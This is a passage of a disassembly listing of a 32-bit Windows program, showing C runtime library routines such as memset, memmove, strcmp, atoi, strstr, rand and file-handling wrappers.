		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_4153AE:				; CODE XREF: sub_41531B+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_41531B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4153B3	proc near		; CODE XREF: sub_415285+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_4153CF:				; CODE XREF: sub_4153B3+3Aj
		cmp	[eax], bl
		jz	short loc_4153EF
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_4153E4
		cmp	cl, 2Ah
		jnz	short loc_4153EF
		cmp	cl, 3Fh
		jnz	short loc_4153E7


loc_4153E4:				; CODE XREF: sub_4153B3+25j
		inc	eax
		mov	[edi], eax


loc_4153E7:				; CODE XREF: sub_4153B3+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_4153CF
; ---------------------------------------------------------------------------


loc_4153EF:				; CODE XREF: sub_4153B3+1Ej
					; sub_4153B3+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_4153FA
		inc	dword ptr [esi]
		jmp	short loc_4153EF
; ---------------------------------------------------------------------------


loc_4153FA:				; CODE XREF: sub_4153B3+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_41541B
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_41540C
		xor	eax, eax
		jmp	short loc_41547B
; ---------------------------------------------------------------------------


loc_41540C:				; CODE XREF: sub_4153B3+53j
		cmp	cl, bl
		jnz	short loc_41541B
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_41541B
		push	1
		pop	eax
		jmp	short loc_41547B
; ---------------------------------------------------------------------------


loc_41541B:				; CODE XREF: sub_4153B3+4Dj
					; sub_4153B3+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_415285
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_415465


loc_415429:				; CODE XREF: sub_4153B3+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_41542D:				; CODE XREF: sub_4153B3+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_415445
		cmp	cl, 5Bh
		jz	short loc_415445
		cmp	dl, bl
		jz	short loc_415445
		inc	eax
		mov	[edi], eax
		jmp	short loc_41542D
; ---------------------------------------------------------------------------


loc_415445:				; CODE XREF: sub_4153B3+82j
					; sub_4153B3+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_41545C
		push	eax
		push	dword ptr [esi]
		call	sub_415285
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_415461
; ---------------------------------------------------------------------------


loc_41545C:				; CODE XREF: sub_4153B3+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_415461:				; CODE XREF: sub_4153B3+A7j
		cmp	eax, ebx
		jnz	short loc_415429


loc_415465:				; CODE XREF: sub_4153B3+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_415478
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_415478
		mov	[ebp+var_4], 1


loc_415478:				; CODE XREF: sub_4153B3+B6j
					; sub_4153B3+BCj
		mov	eax, [ebp+var_4]


loc_41547B:				; CODE XREF: sub_4153B3+57j
					; sub_4153B3+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4153B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415480	proc near		; CODE XREF: sub_401000+64p
					; sub_4010B5+308p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_417F58
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_4154C0
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_4154CD
; ---------------------------------------------------------------------------


loc_4154C0:				; CODE XREF: sub_415480+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_417E43
		pop	ecx
		pop	ecx


loc_4154CD:				; CODE XREF: sub_415480+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_415480	endp


; =============== S U B	R O U T	I N E =======================================



sub_4154D2	proc near		; CODE XREF: sub_401000+2Ep
					; sub_401D82+46p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ds:dword_42F310, eax
		retn
sub_4154D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4154DC	proc near		; CODE XREF: sub_4010B5+CBp
					; sub_4010B5+13Fp ...
		mov	eax, ds:dword_42F310
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	ds:dword_42F310, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_4154DC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415500	proc near		; CODE XREF: sub_4010B5+281p
					; sub_40144A+180p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_415553
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_415547
		neg	ecx
		and	ecx, 3
		jz	short loc_415529
		sub	edx, ecx


loc_415523:				; CODE XREF: sub_415500+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_415523


loc_415529:				; CODE XREF: sub_415500+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_415547
		rep stosd
		test	edx, edx
		jz	short loc_41554D


loc_415547:				; CODE XREF: sub_415500+18j
					; sub_415500+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_415547


loc_41554D:				; CODE XREF: sub_415500+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_415553:				; CODE XREF: sub_415500+Aj
		mov	eax, [esp+arg_0]
		retn
sub_415500	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415560	proc near		; CODE XREF: sub_4010B5+22Dp
					; sub_4010B5+23Ep ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_415580
		cmp	edi, eax
		jb	loc_4156F8


loc_415580:				; CODE XREF: sub_415560+16j
		test	edi, 3
		jnz	short loc_41559C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4155BC
		rep movsd
		jmp	off_4156A8[edx*4]
; ---------------------------------------------------------------------------


loc_41559C:				; CODE XREF: sub_415560+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_4155B4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_4155BC+4[eax*4]
; ---------------------------------------------------------------------------


loc_4155B4:				; CODE XREF: sub_415560+46j
		jmp	dword ptr loc_4156B8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4155BC:				; CODE XREF: sub_415560+31j
					; sub_415560+8Ej ...
		jmp	off_41563C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4155D0
		dd offset loc_4155FC
		dd offset loc_415620
; ---------------------------------------------------------------------------


loc_4155D0:				; DATA XREF: sub_415560+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_4155BC
		rep movsd
		jmp	off_4156A8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4155FC:				; DATA XREF: sub_415560+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_4155BC
		rep movsd
		jmp	off_4156A8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_415620:				; DATA XREF: sub_415560+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_4155BC
		rep movsd
		jmp	off_4156A8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41563C	dd offset loc_41569F	; DATA XREF: sub_415560:loc_4155BCr
		dd offset loc_41568C
		dd offset loc_415684
		dd offset loc_41567C
		dd offset loc_415674
		dd offset loc_41566C
		dd offset loc_415664
		dd offset loc_41565C
; ---------------------------------------------------------------------------


loc_41565C:				; CODE XREF: sub_415560:loc_4155BCj
					; DATA XREF: sub_415560+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_415664:				; CODE XREF: sub_415560:loc_4155BCj
					; DATA XREF: sub_415560+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41566C:				; CODE XREF: sub_415560:loc_4155BCj
					; DATA XREF: sub_415560+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_415674:				; CODE XREF: sub_415560:loc_4155BCj
					; DATA XREF: sub_415560+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41567C:				; CODE XREF: sub_415560:loc_4155BCj
					; DATA XREF: sub_415560+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_415684:				; CODE XREF: sub_415560:loc_4155BCj
					; DATA XREF: sub_415560+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41568C:				; CODE XREF: sub_415560:loc_4155BCj
					; DATA XREF: sub_415560+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41569F:				; CODE XREF: sub_415560:loc_4155BCj
					; DATA XREF: sub_415560:off_41563Co
		jmp	off_4156A8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4156A8	dd offset loc_4156B8	; DATA XREF: sub_415560+35r
					; sub_415560+92r ...
		dd offset loc_4156C0
		dd offset loc_4156CC
		dd offset loc_4156E0
; ---------------------------------------------------------------------------


loc_4156B8:				; CODE XREF: sub_415560+35j
					; sub_415560+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_4156C0:				; CODE XREF: sub_415560+35j
					; sub_415560+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4156CC:				; CODE XREF: sub_415560+35j
					; sub_415560+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_4156E0:				; CODE XREF: sub_415560+35j
					; sub_415560+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4156F8:				; CODE XREF: sub_415560+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41572C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_415720
		std
		rep movsd
		cld
		jmp	off_415840[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_415720:				; CODE XREF: sub_415560+1B1j
					; sub_415560+208j ...
		neg	ecx
		jmp	off_4157F0[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41572C:				; CODE XREF: sub_415560+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_415744
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_415744+4[eax*4]
; ---------------------------------------------------------------------------


loc_415744:				; CODE XREF: sub_415560+1D6j
					; DATA XREF: sub_415560+1DDr
		jmp	off_415840[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_415758
		dd offset loc_415778
		dd offset loc_4157A0
; ---------------------------------------------------------------------------


loc_415758:				; DATA XREF: sub_415560+1ECo
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_415720
		std
		rep movsd
		cld
		jmp	off_415840[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_415778:				; DATA XREF: sub_415560+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_415720
		std
		rep movsd
		cld
		jmp	off_415840[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_4157A0:				; DATA XREF: sub_415560+1F4o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_415720
		std
		rep movsd
		cld
		jmp	off_415840[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4157F4
		dd offset loc_4157FC
		dd offset loc_415804
		dd offset loc_41580C
		dd offset loc_415814
		dd offset loc_41581C
		dd offset loc_415824
off_4157F0	dd offset loc_415837	; DATA XREF: sub_415560+1C2r
; ---------------------------------------------------------------------------


loc_4157F4:				; DATA XREF: sub_415560+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_4157FC:				; DATA XREF: sub_415560+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_415804:				; DATA XREF: sub_415560+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41580C:				; DATA XREF: sub_415560+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_415814:				; DATA XREF: sub_415560+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41581C:				; DATA XREF: sub_415560+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_415824:				; DATA XREF: sub_415560+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_415837:				; CODE XREF: sub_415560+1C2j
					; DATA XREF: sub_415560:off_4157F0o
		jmp	off_415840[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_415840	dd offset loc_415850	; DATA XREF: sub_415560+1B7r
					; sub_415560:loc_415744r ...
		dd offset loc_415858
		dd offset loc_415868
		dd offset loc_41587C
; ---------------------------------------------------------------------------


loc_415850:				; CODE XREF: sub_415560+1B7j
					; sub_415560:loc_415744j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_415858:				; CODE XREF: sub_415560+1B7j
					; sub_415560:loc_415744j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_415868:				; CODE XREF: sub_415560+1B7j
					; sub_415560:loc_415744j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41587C:				; CODE XREF: sub_415560+1B7j
					; sub_415560:loc_415744j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_415560	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4158A0	proc near		; CODE XREF: sub_4010B5+FCp
					; sub_4010B5+118p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_4158EC


loc_4158B0:				; CODE XREF: sub_4158A0+3Cj
					; sub_4158A0+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_4158E4
		or	al, al
		jz	short loc_4158E0
		cmp	ah, [ecx+1]
		jnz	short loc_4158E4
		or	ah, ah
		jz	short loc_4158E0
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_4158E4
		or	al, al
		jz	short loc_4158E0
		cmp	ah, [ecx+3]
		jnz	short loc_4158E4
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_4158B0
		mov	edi, edi


loc_4158E0:				; CODE XREF: sub_4158A0+18j
					; sub_4158A0+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4158E4:				; CODE XREF: sub_4158A0+14j
					; sub_4158A0+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4158EC:				; CODE XREF: sub_4158A0+Ej
		test	edx, 1
		jz	short loc_415908
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_4158E4
		inc	ecx
		or	al, al
		jz	short loc_4158E0
		test	edx, 2
		jz	short loc_4158B0


loc_415908:				; CODE XREF: sub_4158A0+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_4158E4
		or	al, al
		jz	short loc_4158E0
		cmp	ah, [ecx+1]
		jnz	short loc_4158E4
		or	ah, ah
		jz	short loc_4158E0
		add	ecx, 2
		jmp	short loc_4158B0
sub_4158A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415930	proc near		; CODE XREF: sub_4010B5+19Ep
					; sub_401A76+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_415949
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_415949:				; CODE XREF: sub_415930+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_415930	endp


; =============== S U B	R O U T	I N E =======================================



sub_415964	proc near		; CODE XREF: sub_4159EF+4p
					; sub_41EBF2+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_41596C:				; CODE XREF: sub_415964+34j
		cmp	ds:dword_42F56C, 1
		jle	short loc_415984
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_418762
		pop	ecx
		pop	ecx
		jmp	short loc_415993
; ---------------------------------------------------------------------------


loc_415984:				; CODE XREF: sub_415964+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, ds:off_42F360
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_415993:				; CODE XREF: sub_415964+1Ej
		test	eax, eax
		jz	short loc_41599A
		inc	edi
		jmp	short loc_41596C
; ---------------------------------------------------------------------------


loc_41599A:				; CODE XREF: sub_415964+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_4159AA
		cmp	esi, 2Bh
		jnz	short loc_4159AE


loc_4159AA:				; CODE XREF: sub_415964+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_4159AE:				; CODE XREF: sub_415964+44j
		xor	ebx, ebx


loc_4159B0:				; CODE XREF: sub_415964+7Bj
		cmp	ds:dword_42F56C, 1
		jle	short loc_4159C5
		push	4
		push	esi
		call	sub_418762
		pop	ecx
		pop	ecx
		jmp	short loc_4159D0
; ---------------------------------------------------------------------------


loc_4159C5:				; CODE XREF: sub_415964+53j
		mov	eax, ds:off_42F360
		mov	al, [eax+esi*2]
		and	eax, 4


loc_4159D0:				; CODE XREF: sub_415964+5Fj
		test	eax, eax
		jz	short loc_4159E1
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_4159B0
; ---------------------------------------------------------------------------


loc_4159E1:				; CODE XREF: sub_415964+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_4159EA
		neg	eax


loc_4159EA:				; CODE XREF: sub_415964+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_415964	endp


; =============== S U B	R O U T	I N E =======================================



sub_4159EF	proc near		; CODE XREF: sub_4013EC+12p
					; sub_4013EC+1Dp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_415964
		pop	ecx
		retn
sub_4159EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4159FA	proc near		; CODE XREF: sub_40144A+318p
					; sub_401D82+460p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_417F58
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_415A39
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_415A46
; ---------------------------------------------------------------------------


loc_415A39:				; CODE XREF: sub_4159FA+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_417E43
		pop	ecx
		pop	ecx


loc_415A46:				; CODE XREF: sub_4159FA+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4159FA	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415A50	proc near		; CODE XREF: sub_401D82+2D8p
					; sub_401D82+2F8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_415ACA
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_415AB7


loc_415A68:				; CODE XREF: sub_415A50+52j
					; sub_415A50+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_415A8A
		test	al, al
		jz	short loc_415A84


loc_415A79:				; CODE XREF: sub_415A50+32j
		mov	al, [esi]
		inc	esi


loc_415A7C:				; CODE XREF: sub_415A50+3Fj
		cmp	al, dl
		jz	short loc_415A8A
		test	al, al
		jnz	short loc_415A79


loc_415A84:				; CODE XREF: sub_415A50+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_415A8A:				; CODE XREF: sub_415A50+23j
					; sub_415A50+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_415A7C
		lea	edi, [esi-1]


loc_415A94:				; CODE XREF: sub_415A50+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_415AC3
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_415A68
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_415AC3
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_415A94
		jmp	short loc_415A68
; ---------------------------------------------------------------------------


loc_415AB7:				; CODE XREF: sub_415A50+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_417076
; ---------------------------------------------------------------------------


loc_415AC3:				; CODE XREF: sub_415A50+49j
					; sub_415A50+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_415ACA:				; CODE XREF: sub_415A50+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_415A50	endp


; =============== S U B	R O U T	I N E =======================================



sub_415AD0	proc near		; CODE XREF: sub_4022C6+94p
					; sub_40409E+7Cp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_415AE5
		or	eax, 0FFFFFFFFh
		jmp	short loc_415B1F
; ---------------------------------------------------------------------------


loc_415AE5:				; CODE XREF: sub_415AD0+Ej
		test	al, 83h
		jz	short loc_415B1D
		push	esi
		call	sub_4188F0
		push	esi
		mov	edi, eax
		call	sub_41888A
		push	dword ptr [esi+10h]
		call	sub_4187D7
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_415B0B
		or	edi, 0FFFFFFFFh
		jmp	short loc_415B1D
; ---------------------------------------------------------------------------


loc_415B0B:				; CODE XREF: sub_415AD0+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_415B1D
		push	eax
		call	sub_415DE1
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_415B1D:				; CODE XREF: sub_415AD0+17j
					; sub_415AD0+39j ...
		mov	eax, edi


loc_415B1F:				; CODE XREF: sub_415AD0+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_415AD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415B26	proc near		; CODE XREF: sub_4022C6+8Ep
					; sub_40D2E0+2B0Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_4189C2
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_417F58
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_418A4F
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_415B26	endp


; =============== S U B	R O U T	I N E =======================================



sub_415B58	proc near		; CODE XREF: sub_415B78+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_418BFC
		test	eax, eax
		jnz	short loc_415B62
		retn
; ---------------------------------------------------------------------------


loc_415B62:				; CODE XREF: sub_415B58+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_418A8C
		add	esp, 10h
		retn
sub_415B58	endp


; =============== S U B	R O U T	I N E =======================================



sub_415B78	proc near		; CODE XREF: sub_4022C6+54p
					; sub_40409E+2Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_415B58
		add	esp, 0Ch
		retn
sub_415B78	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415B90	proc near		; CODE XREF: sub_404138+2BFp
					; sub_408E1D+75p ...

arg_0		= dword	ptr  4

